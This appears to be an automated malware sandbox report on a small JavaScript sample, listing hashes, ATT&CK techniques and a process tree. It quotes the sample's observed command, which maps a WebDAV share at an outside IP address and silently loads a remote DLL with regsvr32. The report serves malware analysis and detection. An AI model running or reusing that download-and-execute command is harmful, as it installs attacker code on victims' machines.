4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 02:03

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General

Target

4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb.js
Size

3KB
MD5

ddd8c6180a09e4f9337efa434ccbcbcd
SHA1

ebd0961e8b94ad71160c600e0ae663d015b01574
SHA256

4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb
SHA512

f03857fa0d1e0f1c5a4f160bfc1a23023994a453eeb2b2d1ab7eb1951c210ab7b0e1bc2ed3531c8a4d560911869a8e03aa4debdef0302c0513e8df57e0ad517f

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 212 wrote to memory of 3604	212	wscript.exe	84
PID 212 wrote to memory of 3604	212	wscript.exe	84
PID 3604 wrote to memory of 1048	3604	cmd.exe	86
PID 3604 wrote to memory of 1048	3604	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4ca5ffa9a6a1cf527e027693d7b7b9c9f0aadde0db80665ceb42f395a800fabb.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\92451529317231.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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